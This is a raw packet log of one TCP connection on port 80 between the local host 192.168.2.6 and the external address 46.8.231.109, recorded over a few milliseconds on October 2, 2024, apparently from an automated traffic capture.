Oct 2, 2024 17:17:19.050434113 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050501108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050512075 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050523043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050533056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050534964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050545931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050556898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050564051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050590992 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050637007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050648928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050658941 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050669909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050672054 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050682068 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050689936 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050693989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050718069 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050731897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050869942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050879955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050890923 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050911903 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050936937 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050998926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051008940 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051019907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051031113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051032066 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051042080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051052094 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051054955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051067114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051086903 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051109076 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051147938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051163912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051176071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051183939 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051187992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051198959 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051199913 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051212072 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051218033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051222086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051234007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051244974 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051254988 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051278114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051343918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051356077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051382065 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051625013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051706076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051717997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051743984 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051759005 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051827908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051840067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051850080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051855087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051867008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051882029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051908970 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051911116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051923990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051934004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051943064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051944971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051958084 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.051969051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.051995039 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052319050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052330971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052340984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052352905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052361012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052365065 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052376986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052382946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052412987 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052457094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052469015 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052479029 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052489042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052490950 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052500963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052508116 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052511930 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052522898 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052525997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052541971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052551985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052552938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052562952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052573919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052583933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052584887 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052604914 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052691936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052702904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052714109 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052714109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052728891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052747965 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052829027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052840948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052858114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052864075 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052869081 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052881002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.052892923 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.052921057 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053230047 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053241968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053253889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053278923 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053302050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053311110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053316116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053328991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053338051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053354979 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053370953 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053473949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053488016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053498983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053508997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053519011 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053554058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053649902 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053661108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053670883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053682089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053689957 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053693056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053704977 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053718090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053744078 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053818941 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053828955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053834915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053843975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053855896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053857088 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053867102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053879976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053886890 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053895950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053904057 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053908110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053920031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.053929090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.053953886 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054078102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054089069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054100037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054121017 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054136038 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054156065 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054167032 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054177999 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054188967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054194927 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054199934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054210901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054218054 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054250002 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054286957 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054332018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054415941 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054426908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054438114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054449081 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054450989 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054460049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054469109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054471970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054483891 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054495096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054497004 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054512978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054518938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054534912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054541111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054562092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054598093 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054775000 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054792881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054804087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054814100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054825068 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054825068 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054836988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054847956 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054855108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054858923 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054869890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054872036 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054881096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054891109 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054891109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054902077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054909945 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054913998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054924965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054925919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054936886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054948092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.054953098 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.054976940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055066109 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055077076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055088043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055108070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055135965 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055191994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055202961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055212975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055223942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055237055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055252075 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055373907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055416107 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055427074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055428982 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055438995 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055449963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055459976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055460930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055470943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055483103 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055488110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055510044 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055609941 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055620909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055630922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055641890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055650949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055651903 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055663109 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055674076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055681944 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055685997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055696964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055707932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055718899 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055718899 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055741072 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055757999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055850983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055861950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055871964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055882931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055893898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055903912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055922031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.055932999 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.055955887 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056143999 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056163073 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056174040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056184053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056194067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056199074 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056205988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056216002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056226969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056233883 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056237936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056248903 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056253910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056261063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056272030 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056281090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056282043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056293964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056304932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056313992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056313992 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056324959 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056328058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056337118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056346893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056350946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056359053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056364059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056396008 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056606054 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056617022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056627035 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056637049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056638956 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056648970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056655884 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056658983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056670904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056680918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056682110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056705952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056766033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056788921 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056797981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056879997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056890965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056900978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056911945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056921959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056924105 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056936026 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056946993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.056962967 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056972980 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056989908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.056993961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057029009 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057065010 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057075977 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057117939 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057138920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057149887 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057161093 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057172060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057173014 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057198048 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057233095 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057297945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057308912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057320118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057331085 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057337046 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057341099 CEST	80	65273	46.8.231.109	192.168.2.6
